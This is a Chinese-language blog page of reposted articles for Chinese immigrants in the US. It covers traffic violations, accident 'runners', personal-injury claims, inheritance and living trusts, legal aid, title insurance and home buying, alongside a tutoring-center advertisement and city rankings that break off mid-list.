美国法律规定,交通违章属犯罪行为,因此,不同类别的违章,法律都明确以轻度犯罪、中度犯罪和严重犯罪三个等级来界定。如果驾驶员违章情况较轻,如闯红灯、不系安全带等,一般缴纳罚款即可,但要记点(相当于我国记分管理)。若是违章情节较重,如酒后、酒醉驾车或吸毒驾车、非法赛车、违章肇事拦车不停逃逸等,则由法院追究刑事责任。

在美国,不论何种交通违章,只要被开具罚单和接受处罚,违章记录即永久性地存入个人社会安全号档案中,这些记录在本人晋升、信用、保险、求职等方面都会产生一定的负面影响。如汽车保费会随个人驾驶事故记录而调节。夫妻俩共开一辆纪录良好的车,每年只需花不到500美元的汽车保费。而一个有轻微违章记录的单身汉,每年很可能要为擦伤他人车辆等小事故支付好几千美元保费。

除了发生交通违规事件时严格执法,美国在交通管理方面更重视的是预防工作。除了每年花费大量经费用于交通安全方面的公益宣传和培训,还利用先进的技术和科学的手段获取信息,及时对道路及其设施进行良好的维护,消除危险路口路段的危害性等。

2018-11-10 / by / in , , , , , , ,
交通事故中可能遇到托儿 不要轻信别人

交通事故中可能遇到托儿 不要轻信别人

总是有这样的事发生。来美时间不长的人士发生交通事故,当事人感到惊吓和震惊之余,却不知要给谁打电话,以及如何处理这突如其来的车祸。

此时此刻,突然出现一个讲母语的人。这人表示他们恰好目睹这起车祸,并询问当事人是否需要帮助。这对遭遇意外的人来说,这个老乡就像天使,是个好心人。然后好心人推介去他/她知道的医院、还有律师,甚至还有汽车修理店。但是,在推介完毕之后,你却再也找不到好心人的踪迹。当事人试着拨打好心人的电话,也无人应答。你知道吗,这些行为很可能是涉及事故的一种交易行为。

当车祸发生后,警察或者是救护车会赶赴事故现场。警察会出具警察报告以及调查车祸地点,救护车会救治和运送受伤的人员。除此之外,没有谁会推介车祸中的当事人去哪儿,除非有兜售目的人才会靠近车祸现场。出现在车祸现场的这种人,我们称为“托儿”(英文称之为Runner)。他们介绍车辆修理店铺,律师以及痛症诊所。一些托儿还跟律师楼或者痛症诊所有着一定的利益联系。这些人从车祸赔偿中挣钱、或者从律师楼拿到的受害人车祸赔偿金中分得一杯羹,还有转介给律师、痛症诊所和车辆修理店后拿好处费,这些都是非法的。

交通事故

律师不能以这种方式从托儿手中拿案子,因为在当事人提出协商之前,任何律师与事故当事人接触进行协商、出现在事故现场都是违反法律的。怂恿事故受伤者起诉(ambulance chasing)是违反律师职业道德操守的。律师或经理在律师楼说服当事人采取法律诉讼也同样是非法的。但如果当事人联系律师楼,提出与律师或者律师助理在家中或医院协商,这是合法的。此外,在电视或者报纸上打广告吸引客户也是合法的。

口碑传播、互相介绍律师是合法的。痛症诊所介绍病患去找律师,如果没有涉及利益交换也是合法的。但有一些规则涉及此类事故的承保伤害案件。很多人都不知道这些规则,他们依赖于托儿、而不管托儿是否在事故现场出现过。问题是托儿对糟糕的结果并不负责。他们可能在介绍律师或痛症诊所给当事人之后就消失了,这样很多人被迫陷入麻烦或困难当中。

所以,如果你卷入交通事故、需要帮助,首先你必须打电话给警察,如果有受伤的话需要打电话叫救护车。重要的是,你需要在适当的时候找律师。你可以通过广告或者熟人介绍找律师,这种方式更靠谱。还有很多移民接受“托儿”的非法帮助,因为他们缺乏交通事故的处理经验和知识,我们发现这种情况的发生比例正在下降,因为人们越来越多地意识到跟“托儿”合作可能导致的各种各样的后果。但是,还是有少量违反法律的行为。为了避免这些“托儿”,请聘用正确的律师。

文章來源:大紀元

2018-11-10 / by / in ,
意外受伤时 有一项权益不要忘记

意外受伤时 有一项权益不要忘记

遇到意外人体伤害时,华人很少找律师,经常在这方面吃大亏。究其原因主要是:1、“多一事不如少一事”的处世哲学;2、没有身份打黑工,怕被暴露;3、担心遭到不良律师的欺骗敲诈等等,其实这些想法都是不正确的。因为这类案件,都是打赢官司才收律师费的;而且美国法律讲究人人平等,没有身份的人也不能被歧视。

人体伤害事件 千万别自认倒霉

什么是人体伤害呢?有两个要素:一、有人受伤;二、别人的错。
常见的人体伤害事件,主要有:1、车辆交通事故,被公交车、汽车、自行车撞伤;2、某人在某建筑物受伤,或从建筑物摔落下来而受伤,起因是建筑物构造的缺陷,或人行道上的一个坑,没有定时维修的楼梯或电梯;3、在工地上,从脚手架上摔落受伤,或被高处落下的物体砸中头部等等,导致可怕的事故。

人体伤害律师申辅均说,凡是由于别人的过错而受伤,受伤者应该寻求人体伤害律师帮助,得到合理的赔偿,包括:1、报销所有的医药治疗费用;2、因伤而丧失的工资:比如你受伤前年薪是三万,伤后只能找到年薪两万的工作,如果你二十年后退休,你应该得到二十万的赔偿;3、肉体上的痛苦,精神、情感上的打击,以致恐惧、愤怒,以及生活享受的损失等等,都可以得到赔偿金;4、伤者的配偶也有资格索偿,因为配偶要照顾伤者,承担了更多的家庭责任和家务……

人体伤害

申律师的一个客户跟他说起一段十二年前的经历。当时,她和妈妈走在人行道上,路过一户人家,庭院的围墙有个缺口。突然,一条大狗从院子里冲向人行道方向,狗脑袋从缺口处伸出一大截汪汪叫。由于没有思想准备就下意识躲闪,客户母亲一下子从人行道上狠狠的摔到人行道下面,70多岁的人摔的很惨:脚扭到走不了路,脚踝、小腿当时全都肿起来,手也破了,胳膊也瘀青了。2、3个月后虽然康复了,可是谈起这件事来,老人还心有余悸。

申律师问她:“你有没有妈妈受伤的相片?那个狗把头伸出围墙缺口向你妈妈叫的相片?或者任何医院治疗的单据?如果有,我们律师事务所就可以为你讨回公道,美国对狗咬人、伤害人,有很多法律赔偿的规定。”

这个客户说:“我来美20多年了,我也不知道可以找律师索赔,更没有拍照、留证据的意识。妈妈身体、精神上遭受那么大损失,我们只好自认倒霉。唉,以后再遇到这样的事就知道如何处理了!”

人体伤害律师

选对律师 拿到合理伤害理赔

也许你说,我办了意外伤害保险,不需要找律师。这恰恰是保险公司求之不得的!一般人缺乏经验和法律知识,很难算出真正的损失,一些不良的保险公司会趁你没有律师的时候,尽快以最低赔偿与你结案完事。这些保险公司心知肚明,律师替你争取的赔偿,比你自己争取到的多很多,否则也不会有专门办理受伤案件的律师了。

找律师固然重要,但是找个好律师更不容忽视。虽然做人体伤害案件的律师是打赢官司再收费的,但是一些不良律师会巧立名目的跟你报销各种费用,你打赢官司获得的赔偿被东扣西扣之后,可能就所剩无几了。

因此对伤者及家庭,最重要的是找到他们可以信赖的一位经验丰富的律师。选择一个好律师,通常有以下途径:
1、查询专业数据库:保险公司接到索赔通知后,第一件事就是到专业的数据库中查找律师以往的打官司记录,了解律师的水平。你可以亲自去查询,也可以请律师秀给你看。如果律师经验很丰富,对方就不敢拖延,他们知道拖到庭审会更被动。通常庭审的赔偿要比庭下的调解更高。

2、律师需有经济实力:人体意外伤害案件,需要大量的调查工作,有些案件可能要几年才能打赢,律师事务所需要投入巨大费用。作为受伤人,一定不希望做了几个月或二、三年了,代理人告诉他,很抱歉我没资金跟进你的案件。

3、不搞错索赔对象:不同的官司有不同的索赔对象和索赔期限,有经验的律师不会弄错。如果索赔对象是政府机构,要在90天内通知他们;如果是交通事故,要在30天内通知保险公司。如果律师缺乏经验,会耽误索赔。

人体伤害理赔 有无身份同样对待

身份是否合法?是华人打官司前很关注的问题。那么游客或非法移民,是否可以进行伤害案的诉讼呢?

在街上被撞伤,或掉进地上的坑,游客与美国人或者美国永久居留权的人享有一样的权利,把伤害事件告上法庭,不应该有任何形式和方式的顾虑。身份有问题的、证件或签证过期、或其它情形的人,如果遭遇意外伤害或死亡,不能因为身份问题而和他人有区别,而且有的法庭根本不能问移民的身份。在美国,歧视行为是非常不被认同的。

 十年打赢上千人体伤害案件

申律师事务所,专精湾区人体伤害诉讼,对每一个客户都很用心。申律师会亲自了解每一个客户的家庭背景,伤害对他们的生活影响、工作影响、对孩子的影响,估算最合理的赔偿费。而在大律师楼,会被其他案件分心,客户很难得到这样人性化的服务。

律师事务所,十年为客户打赢上千个人体伤害案例;不获理赔,不收任何费用。服务领域包括脑部重创、脊椎受伤、骨折、一般车祸、各种工伤如:建筑工地受伤、烫伤、扭伤、滑倒、绊跌,以及狗咬,狗攻击等等。

律师建议华人,发生意外伤害后不要等,应该尽快联系律师,因为上诉的时限是有规定的,尤其是重大伤害事件,更要尽早联系律师。

文章来源:大纪元

2018-11-10 / by / in ,
在美继承遗产有多难?绝对超出你的想像

在美继承遗产有多难?绝对超出你的想像

去年9月,一名独居的华裔男子在其纽约公寓内死亡,死者唯一的亲人是他的侄女。因为死者所有的证件与财物均放置在银行保险箱内,他的侄女希望打开保险箱为其办理后事。

继承遗产

但开保险箱必须向银行证明:当事人是死者的亲属,可该男子的出生证明等资料均锁在保险箱里。因无法证明他们之间的亲属关系,所以银行拒绝了打开保险箱的要求。就像是你需要拿钥匙开车,而车钥匙刚好就锁在车里了,真是让人万般无奈。

一般来说,在美国继承遗产都需要遗产法庭(Surrogates Court)的介入。在遗产法庭有三类案件:1.死者个人财产不足3千美金属小额遗产(Small Estate),又叫做自愿管理(Voluntary Administration),是简易、低成本的遗产划分方式,生前有无遗嘱均可。2.死者立有遗嘱,归于遗嘱认证(Probate),财产的划分依照遗嘱。3.死者没有遗嘱的归于遗产管理(Administration),这种情况最复杂。

遗嘱

在美处理遗产的三个难题 

1.移民身份限制而导致遗产无法由亲属顺利继承。

在美国遗产执行人必须有美国身份。很多移民是独居,去世时没有直系亲属在身边。如果所有的家属都在中国,而且没有绿卡也不是公民,那么在遗产处理过程中,就不得不让公共遗产执行人来管理死者的遗产。

2.继承遗产历时长、律师费用高。

首先遗产划分需要经过遗产法庭审核,另外,如果遗产受益人在中国,更是对当事人的财产情况以及美国法律都不清楚,更需要律师的帮助。像开篇的案子,通常需要在领馆公证相关证明手续,需要的时间往往会更长。

生前信托

3.即便相关材料都已取得,法院程序也已顺利履行,还要考虑其它因素。

有时候,即使上述流程均已走完,但受益人也未必能真正取得死者的遗产。比较常见的是,死者是白卡受益人,那么按联邦法的规定,55岁以上的白卡受益人去世后,如没有21岁以下子女,州政府可以留置其房产,追索白卡保险给付的福利额。

除养老院、居家和社区医疗服务的费用外,还包括医院服务、处方药,甚至联邦医疗保险(Medicare,俗称红蓝卡)分摊的开销。只有在付清白卡追讨的费用后,才能按照遗嘱或法定程序划分遗产。所以很多无妻无子的独居者的遗产经此过程后大大缩水,甚至全数归政府。

 

有无更好的遗产处理方式? 

我们推荐独居者建立生前信托(Living Trust)。生前信托由委托人任命一个信托执行人,执行人生前可以是本人也可以是他人。当委托人去世的时候,由信托的执行人来办理委托人去世后的各项事务。

信托的最大好处是,免去了繁琐的遗产查验程序,以及遗产查验的律师费用,对于海外的家属继承财产相对方便。

其次,信托降低了遗产诉讼的几率。有些人误认为设立遗嘱后、可免去法庭程序,但并非如此。遗产法庭对遗嘱的执行有严格程序,被遗嘱排除的受益人,可以向法庭提出抗议,所以遗嘱是容易引发诉讼的。

再次,由于信托不需要走遗产法庭,所以死者的财产无需公示,可以很好地保护死者的隐私。◇

生前信托

吴绿绿律师(LOUISA WU)毕业于美国天普大学法学院,为美国纽约州执业律师、纽约州律师协会的会员,是美国天成律师事务所的合伙人。天成律师事务所有15 年以上处理信托案件的经验,曾经处理过上万起财产保护信托案件。在纽约和新泽西均设有办公室,欢迎咨询财产保护信托详情。

文章來源:大紀元

2018-11-10 / by / in , , , , ,
在纽约低收入家庭可获得免费法律援助

在纽约 低收入家庭 可获得 免费 法律援助

华人新移民由于语言和文化障碍,加上不熟悉美国法律,工作和生活中遇到老板克扣工资、工伤事故赔偿不公、房屋问题、家暴等不公对待时,愿意请律师的不多, 尤其是低收入家庭,没有钱请律师是一个主要原因, 其实当遇到这些情况,可以通过不同途径得到帮助。

 

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低收入家庭


美国司法援助的基础是宪法第六修正案:“在一切刑事诉讼中,被告享有……得到辩护律师援助的权利”。 纽约法律援助协会(New York Legal Aid Society) 起源于1876年,德国移民社区成立义务团体为受剥削的新移民打官司提供法律服务, 后来演变为全美历史最悠久、规模最大的不以营利为目的的法律服务机构。


法律援助的对象分为三大类,民事、刑事和未成年人获得司法救助,除了后两类是宪法规定、并得到政府资助的之外,民事案法律援助在很大程度上依赖于私人捐赠,向请不起律师的社区民众提供免费法律援助。


法律援助

免费法律援助三渠道

1. 拨打“212-577-3300 ”法律咨询热线:纽约法律援助协会提供包括劳资纠纷、民事纠纷、家庭案件、儿童保护、未成年人权利、房屋问题、移民、老人福利、刑事犯罪的辩护等方方面面的法律支持,有华语服务。


每周一至周五上午9点半至中午12点半,分别提供以下法律援助热线咨询:移民(周一及周五:844-955-3425 ),劳工、健康及政府福利(周二至周四:888-663-6880)。

2. 登录“www.legal-aid.org”网了解详细法律援助


3 .到纽约市五大区的法律援助工作站或位于水街199号的法援处总部咨询,想要前往的民众可提前预约,电话:212-577-3346 。


免費法律援助

数据

目前,该协会具有公设辩护律师资格的律师共有1100名,另外还有700多名社工、研究员、律师助理和行政工作人员,每年处理30多万例法律援助,惠及200万低收入的纽约人。


附加:

在美国,律师的社会地位很高,是人们所向往的崇敬的职业。那么,美国的律师到底有什么特殊权限呢?

法律援助


1.由律师签字的很多法律文件具有法律效


力。尤其是公司计划上市,发售股票,风险资金,合并兼购,房屋买卖,国际合营和跨国投资都必须有律师的参与和签署文件。

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2.在美国,除了当事人自己出庭,或上诉外,只有具有当地律师执照的律师才有资格代理当事人出庭和上诉至州和联邦法庭,其他任何公民都无权代理诉讼。


3.任何执业律师都是法律公证人,有权利公证任何法律文件。


4.作为一个判例法国家,美国允许律师通过引用以前的案例来支持现在的类似案件。法院也会在很大程度上采信律师提出的遵循先例的建议和主张。

2018-11-09 / by / in , ,
在美国购房一定要买房屋产权保险!

什么是产权?

产权实质就是财产权,基于房屋和土地产生的财产权就称为房地产产权。财产可以是有形的,即看得见的东西,如归我们所有的房屋、日常用品;也可以是无形的,如版权、专利权;还可以是特定的当事人之间特定的权利、义务关系,已租用房屋的人应当按期向房主交纳房租。


什么是产权保险?

产权保险(titleinsurance),是在保险人(保险公司)与被保险人之间建立的具有担保性质的赔偿合同关系,简单地说,是由投保人一次性支付给保险人金额的保费,保险人如果产权存在产权报告(title report)中应记载而没有记载的瑕疵和纠纷(clouds或encumbrances)并给被保险人造成损失时,保险人负责消除产权瑕疵,解决产权纠纷,或者由其在保险金额范围内给予赔偿。


买家拥有产权保险

买家拥有产权保险后,如果房屋如果在以下法律规定,市政条例等方面存在问题,产权公司可以提供解决方案或进行理赔:

A.房屋买卖合同签署人存在问题:

如,签订合同时漏掉继承人或其他产权人,或房屋产权人出现变化但签约时卖家未告诉买家,或产权人有精神障碍问题等

B.卖家在卖房过程中欺诈、作假、伪造文件:

如,伪造地契(房屋证),贷款文件,房屋销售授权书等

C.房屋设施违反市政条例:

如,院外建有违章建筑,后院露台规格不符合市政规定等

D.房屋存在未记录在案的特殊土地使用权和通行权:

如,买家入住后,电力公司有权在房屋上方架设高空电线,矿业公司可在房屋所在地开采矿石,或市政可以征用该地铺设马路或建造医院等

E.买家没能从卖家那里获得房屋勘测图而引起日后邻里界限纠纷

F.房屋交易存在因律师造成的错误, 失职和欺骗

G.房屋存有拖欠的税款、债务、或隐藏法律纠纷


美国产权保险的构成要素有:保险人、投保人、被保险人、受益人、保险标的、保险期间、保险责任、保险范围、保险费、赔偿。

产权保险的保险期间是自保险人承保的不确定期间,只要产权人不变,无须续保,使房地产由继承人继承或遗赠他人也一直有效。

产权保险的费率根据保险种类、投保金额、保险范围不同而不同,一般来讲,保险费率主要取决于保险金额,保险费率以及费率调整都要到各地保险主管部门备案。各州的保险费率不尽相同,成本、市场竞争情况等因素都会影响费率的高低,对于一个价值200,000美元的房产,纽约州的保险费是1,300美元,加利福尼亚的保险费是887美元。

各州法律没有明确规定保险费应由谁来支付,买卖双方可以商量,各地的具体做法不一样。通常,在西海岸各州,保险费是由产权交易的卖方支付;在其他各州,要由买方自己支付。

投保人应搞清楚保险金额是否恰当,保险范围是否包括与产权交易相关的所有可能存在的产权瑕疵和纠纷,是否可以得到费率优惠。在有的州,次购房人以及其他有特殊情况的人可以享受费率优惠。在有的州,如果在一段时间内连续两次买保险的,就会有优惠;有的情况下,次保险之后六年内都可以获得优惠。


 

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2018-11-09 / by / in ,
在美国买房需要经纪人与律师吗?

在美国买房需要经纪人吗?

聘请买方经纪人

雇用买方经纪人的主要原因是显而易见的 – 购房是人生重要的一步,寻找房屋的过程非常繁琐,因此让买方经纪人引导你完成整个流程并帮助你寻找和留意你感兴趣的房屋是一种解脱和保证。 买方经纪人可以雇用房屋检查员,与卖家协商谁将支付维修费用,同時还可帮助买家查找更合适的房屋以及其他相关事宜,这些对大多数购房者来说可能是陌生的。但是对买方经纪人来说则是轻车熟路,很简单的一件事。

选择经纪人

房屋销售传统上倾向于卖家。卖家有卖方经纪人,他们有时也会成为买方经纪人。警惕所谓的双重代表,因为最终你无法确定经纪人是否是代表卖方的最佳利益。所以买方必须搞清楚你选择的经纪人究竟为谁代理!

请记住,在房地产市场繁荣时期,买方经纪人的需求量很大,在低迷的市场中,则需求非常低。你可以根据这一事实来协商较低的佣金,并慢慢花时间寻找合适的房子。

如何付佣金

通常,房地产经纪人通过佣金支付 – 约为房屋购买价格的5%。在共同的两个经纪人情况下(卖方的经纪人和买方的经纪人),经纪人将分摊5%的佣金,此佣金将由卖方支付。

然而,一些购买者倾向于向买方经纪人支付佣金以保证经纪人对买家完全忠诚度。但目前代表买方的买方经纪人的佣金是由卖方支付的,因此存在固有的利益冲突。所以无论你是否选择自己支付佣金给买方经纪人,都应该搞清楚经纪人的真实身份。

请记住,在强劲的买方市场中,如果你愿意,可以尝试给经纪人较低的佣金。但是由于房屋价格已经很低,你已经从中获得了极高的价值,如果继续讨价还价,有可能打击经纪人为你寻找合适房屋的积极性。

理解情况并控制局势

无论你雇用谁,购买房屋的主动权须掌握在自己手里,如果你对所选择的房屋、社区和房屋的属性不满意時,不应屈服经纪人给你的压力。当然你也应该确保买方经纪人确切知道你想要什么。

此外,你应该主动进行搜索。有很多商业网站不仅提供待售房屋的清单,还提供详细信息,如房屋的市场价值和上次销售的日期和价格等等。


在美国购房一定需要律师吗?

在美国西海岸买房普遍不需要律师,经纪人和产权公司承担了律师的大部分工作和职能;在东海岸大部分州都需要请律师,很多工作都需要律师参与,包括为买家讲解并交换买卖合同、调查所购房屋产权、完成房产交割,及做房屋售后登记。各州规定不同,目前德拉华州、佐治亚州、纽约州、北卡罗来纳州及南卡罗来纳州等州规定房产交易必须由执业律师参与、监督和指导所有的文件,从检查产权到签署文件都需要律师参与。

一、请律师有什么用?

1.为买家讲解并交换买卖合同

在经纪人协助下,买家已经和卖家达成了价格和买卖合同附加条件的拟定。这时,律师需要就已达成的协议用法律语言来制定合同,律师会帮买家逐一解释合同条款,帮助买家理解合同意味的责任和义务,包括违反的法律后果。买卖双方都无异议时,可以签字。

2.调查房屋产权

签署合同后,律师需要去当地地契登记处调查该房屋的产权,审阅产权报告和地产证明。如果房产是遗产,则还要到当地遗产登记处调查。产权调查是为确保房子卖家拥有完全产权,而且可以合法买卖,以保证买家的权益。产权调查还可以揭示一些使用权方面的限制条件。例如路人有权通过房产的一侧草坪通道,作为屋主你无权阻止,这就是地役权。这些都在产权上标明的,但是不查是不知道的。所以律师可以帮助买家了解清楚其产权以及是否有使用上的限制条件。

3.完成房屋交割

产权调查完成,就需要买卖双方的律师,有时也包括双方经纪人到场签字确认。买家资金到位,卖家完全搬出该物业。签署的文件主要包括地契、买家的贷款书、卖家的贷款清偿、地税和水电煤表交割等。

4.售后登记

买家律师需要到当地产权登记处更新屋主名字以及其他一些法律文件的更新存档,包括登记卖家还款证明。买家在之后大约两星期的时间可以收到更新后的地契。

二、什么时候请律师?

在美国买房,选好房子和经纪公司后再找律师就可以。因为经纪人已经可以帮助买家与卖家协商合同条件,拟定购房合同,拟好合同后再找律师修改确认就可以。因为房产交易牵涉到许多法律细节,美国有50个州,每个州的法律不同,各州的房地产法更是不尽相同。所以美国人买房一般不会为了省几个钱而不去请律师。全美律师费在500到3000美元不等。

三、不请律师谁来处理?

很多州律师都是可选择的,因为经纪人、产权公司等可以完成律师的工作。所以需不需要律师取决于两点:一是经纪人的能力,是不是可以把关好每个环节;二是买家对经纪人的信任程度,经纪人是不是可以取代律师的职能。

通常来说,最需要律师参与两个环节就是审核合同以及调查房屋净值。合同上的时间节点等细节条件,有能力的经纪人可以帮助讲解,有问题可以帮助处理协调;而由于美国的房产是在第三方监管机构下交易完成的,这个第三方监管机构也是持律师牌照的机构,所以他们可以保证房屋在产权清晰的条件下完成交易的。而买家如果有担心,可以请律师对房产再做调查,以保障自己的权益。

律师的主要作用在买卖过程中解释法律条文,与卖家律师进行对等的法律文字工作,在法律上充分保护买家利益。律师类型很多,找律师一定要找专业做房地产的律师。

 

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2018-10-24 / by / in , ,
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2018-09-04 / by / in
必昇教育中心补习班梁老师347-761-5500

【大纪元2018年05月25日讯】(大纪元记者Linda纽约报导)在必昇教育中心现场采访梁老师和 Mr. Peter J. Wamsteker老师。

親愛的家長們,這次我們為您採訪的這一家位於法拉盛中心,學府對面)的補習學校,必昇教育中心,是最近少見的補習學校。這一間學校的負責人梁老師(15年公立學校教學經驗的執照教師)和補習天皇Mr. Peter J. Wamsteker(在名校高中Townsend Harris 任教過15年英文,幫過無數學生升學,在google能搜索到學生對他的評語 ),他們在這次的採訪中,為盼望讓孩子進重點高中和常春藤大學的家長們,用以往為學生成功升學的經驗和各種新發現,提供了寶貴的線索和提議,他們之所以能讓眾多學生考上重點高中和名牌大學,是因為他們在過去的一年,為在必昇教育補習考SAT和SHSAT的學生做了充分的準備, 和免費提供以下的服務:

 

跟學生做一對一的訪問,找出學生最吸引名牌大學的個人優勢和才華。記錄了數據後,為學生在準備申請各所名牌大學的關鍵事項上提供意見,例如:寫入學論文,準備大學面試的內容(用以往最常見的面試題目),幫學生安排做義工的機會,為學生寫推薦信(介紹學生的領導能力),等等。

 

因為Peter老師和梁老師在過去為學生做以上的事項時,在成功被名校錄取的學生上,發現了以下的共通點:第一,他們平常在初中或高中時,各科的平均分都是90分左右。第二,他們考PSAT, SAT和SHSAT的成績優異。第三,他們有獨特的才華,例如:音樂,藝術,體育,電腦,科技,等等。有一些學生甚至已經有社會工作經驗(義工或非義工),還有一些學生已經開始懂得在網上倒買倒賣賺錢,有自己的小生意了。名牌大學除了成績以外,那麼看重以上的各樣才華的原因,是因為希望能招進對校園社區有貢獻的學生。

 

如果一個學生在社會上已經有各種演出,畫展,比賽,出版文章,還有其他表現自己的機會,工作或生意,這其實意味著他一直以來已經對社會作出了貢獻,那相對來講在學校為校內的學生作出貢獻的機會也比較高,讓校內的學生有互利互惠的作用,所以好大學喜歡有領導能力,溝通能力強,有獨特和清晰思考能力的學生。最後,學生需要和高中老師保持良好關係,讓老師為學生寫一封好的推薦信,必昇教育也能為學生寫好的推薦信。必昇教育現在暑期班招生中,從二到十二年級,週一到週日都有課程,另外必昇教育一直有送奬學金給去做免費模擬考得到高分的學生,和之後考進重點高中或常春藤大學的學生。我們這次很感謝梁老師和Peter老師分享寶貴經驗,如果家長們需要他們專業的幫助.可以打電話(347)761-5500諮詢。

 


恭贺两位学生考上名牌大学:

(Johathan Quang 以1550分的SAT成绩,成功考上名牌大学Georgia Institute of Technology)

 

 

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(Patricia Lin 以1470分的SAT成绩,成功考上名牌大学University of Michigan)

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(熱烈祝賀 Yanlin Ma 在2015 年以 2300 舊SAT 成績 + Math SAT II 800分滿分 + 各科AP高成績的學分,在2017年成功考入加州名牌大學 Berkeley University of California!)

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2018-05-31 / by / in , ,
在美华人最新分布图:华人聚居的 TOP10 城市

  

南加地产专栏经纪:Chen Wang
Wang Chenxu 

据最新调查数据显示,目前美国华人最为集中的前五个区域为:加州,华裔人口占总华裔人口的36.9%其次是纽约,华裔人口占总华裔人口的16.9%;新泽西州,占4.4%;德州有12万多人,占4.2%;华盛顿州有8万多人,2.8%

颜色越深聚集的华人越多

 

在美国纯中国血统的中国大陆移民312万多人中,第一代移民的人数为169万多人,占华裔移民总数的54.2%,他们很多仍按较传统方式生活。

第1.5代移民的人数为51万多人,占华裔移民总数的16.4%。第二代以上移民人数为91万多人,占华裔移民总数的29.4%。

第二代华裔的生活方式较为美国化,多用英文沟通和社交,与主流社会接触比较多。第一代与第二代一起生活的华裔家庭人口约占45.8%,他们生活方式较为混合化。

华人在美国的居住很有规律,主要是集中在加州、纽约和大都会城市。加州的华裔人口有110多万人,占总华裔人口的36.9%,纽约州华裔人口为50多万人,占16.9%。

其它美国华裔最多分布于新泽西州,有13万多人,占4.4%。德州有12万多人,占4.2%。马萨诸塞州有11万多人,占3.8%。伊利诺斯州有近 10万人,占3.3%。华盛顿州有8万多人,占2.8%。宾夕法尼亚州有7万多人,占2.5%。马里兰州有6万多人,占2.3%。佛罗里达州有6万多人,占 4.1%。

美国华裔中,来自中国大陆的移民在加州最多,有36万7410人,第二是在纽约,有26万1952人。马萨诸塞州有5万多人,占了4.6%。新泽西州有5万多人,占了4.4%。伊利诺斯州有近5万人,占了3.3%。

而按都会地区来看,纽约–新泽西东北地区来自中国大陆移民数量为55万多人,旧金山–奥克兰圣荷西地区有50多万人,洛杉矶–长堤–河边地区有45万多人,大华府地区有10万多人,大芝加哥地区有近9万人。

华人是美国亚裔移民中最大的一个族裔,根据美国人口普查局2006年的美国社区调查,2006年美国的华裔人口总数为349万7484人,占美国人口总数的1.2%,占美国亚裔人口的24.3%。

在华裔人口中,纯中国血统的华人为312万多人,混血的华裔人口为37万多人,从2000年至2006年,美国华裔人口增长了28.5%。

美国的华裔人口主要来自四个地区,其中来自中国大陆的移民占据主导地位。在第二次世界大战前,美国的华人移民多来自广东和香港。20世纪50年代,大量中国台湾民众移居美国。与此同时,东南亚各国被称之为“华裔犹太人”的中国血统民众移民美国后也构成美国华人社区的一部分。

20世纪70年代后,中国大陆居民赴美留学、探亲人数增多,在90年代形成大陆民众赴美的高潮,这些人被称之为华裔中的新移民,以区别以前来自广东、香港的老侨和来自台湾的移民。

在美国的华裔移民中,来自中国大陆的移民占据多数,比例为59.5%,也就是说美国华裔移民中5个人中有3个是来自中国大陆。来自中国台湾的移民占15.9%,美国华裔移民6个人中有1个来自台湾。来自东南亚各国的中国血统移民占15.3%,美国华裔移民6个人中有1个来自东南亚各国。来自香港的移民占9.4%,美国华裔移民10个人中有1个来自中国香港。

美国的华裔移民中,70.6%的人是在美国以外出生。美国以外出生的华裔移民有97.1%的人来自世界各地15个国家和地区,而其中84.7%的人又是来自中国大陆、台湾和香港。美国的华裔有29.4%是在美国出生的,在美国出生的华裔后代,88.3%的人是集中在美国的15各州出生,但最多是在加州和纽约州出生,共占53.8%。

Chen Wang

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2018-05-27 / by / in
华人“混的最好”十大美国城市排名

 

华人“混的最好”十大美国城市排名

 

南加地产专栏经纪:Chen Wang
Wang Chenxu 

1
洛杉矶

 

稳坐最适合华人移民城市的首把交椅,是美国仅次于纽约的大城市。这里环境优美,温带海洋性的气候使全年都非常温和,没有特别炎热的夏天也没有酷烈的冬天。

虽然空气质量在全美排行靠后,但实际上远远胜过北京等中国众多城市。关键是华人占总人口比例大,约有40万人左右,华人的地位也比较高,受到的限制比较小。华人社区多,使用华语机会多,找个中餐馆吃饭十分便当,即使遇到了陈述不清的事情,也可以找当地华人帮忙。而且那里经济发达,是美国石油化工、海洋、航天工业和电子业的最大基地,仅次于纽约的金融中心,就业机会是少不了的。繁华的好莱坞给洛杉矶带来国际化的文化,丰富的夜生活让人感觉到这个城市非常富有人气。

 

2
尔湾/ 新港滩

 

新建的尔湾建市大约只有30年,但却是很多人期望的归宿地了。这个位于加州南部橙县的城市拥有17万人口,其中将近30%的居民为亚裔。都市规划优良,华人多,近海而且气候怡人,拥有加州出名的阳光。这个新兴城市的投资和就业前景十分广阔,政府管理与服务完善,治安状况良好。另外,加州大学尔湾分校等优秀学府就座落于此,校内华裔很多。诸多有利因素成为包括华人在内的各国人士移居到此的主要原因。

 

3
旧金山

 

旧金山,淘金热把第一代华人带到海外,目前也是海外华人居住密度最高的都市之一。旧金山80万人口中,20%是华人,这在美国城市人口中华人比例最高。

旧金山湾区景色秀丽,每一区都代表这个文化多元的城市的另一个面向。旧金山是美国最漂亮的城市。旧金山坐落在一座狭长的半岛上,边缘有崎岖不平的海岸线及宁静的港湾,还有现代化的大厦、沿着陡峭的山丘而盖的二层楼连建住宅,以及朝气蓬勃的市场和购物中心。旧金山的唐人街规模很大,使得华人在这个地区政治、经济和社会生活中的作用越来越大。

 旧金山唐人街在北美所有唐人街中历史最悠久,在北美华人移民中占据重要位置。旧金山唐人街也是一个著名的旅游景点,吸引了许多来自世界各地的移民和旅游者慕名而来 。

 

4
圣地亚哥

 

圣地亚哥位于美国西南方底端,是一座别有风情的城市,也是加州第二大城和美国的第八大城。它的城市圈目前有大约300万人口,据推测现有华人不会少于10万。

尽管来圣地亚哥华人的早期数量不多,但近年成长迅速,十年翻了一番。圣地亚哥作为生物制药与无线通讯等高科技产业的重镇,是全美科技产业发展最具活力和特色的地区之一。前几年美国参议院通过排华法案道歉案,使华裔的政治地位和社会地位有所提高。

圣地亚哥近年来吸引了越来越多的华人在这里投资、工作,成为他们生活的风水宝地和安家首选。圣地亚哥邻近墨西哥边界,海滩、山以及沙漠都距离不远。许多人喜欢来此度假旅游,除了冲浪、赏鲸、游泳、航海等海上活动以外,拜访附近的高山和沙漠也是很好的户外活动项目。

 

5
圣何塞

 

圣何塞也就是举世闻名的硅谷所在地,是加州第3大城市。这已经是第五个入选最适合华人移民的加州城市了,也是北加州湾区的重要组成部分。这里的文化非常多元,华人在政治、经济和文化上有自由伸展的充分空间,生活上也十分方便,当地的中文电视台每晚都播放着中文新闻和电视剧。很多来自大陆和台湾的华人新移民更多的不再从事餐饮等传统行业,而是在硅谷的高新技术领域大展身手,他们的住处也多选择在硅谷附近的别墅群里。

 

6
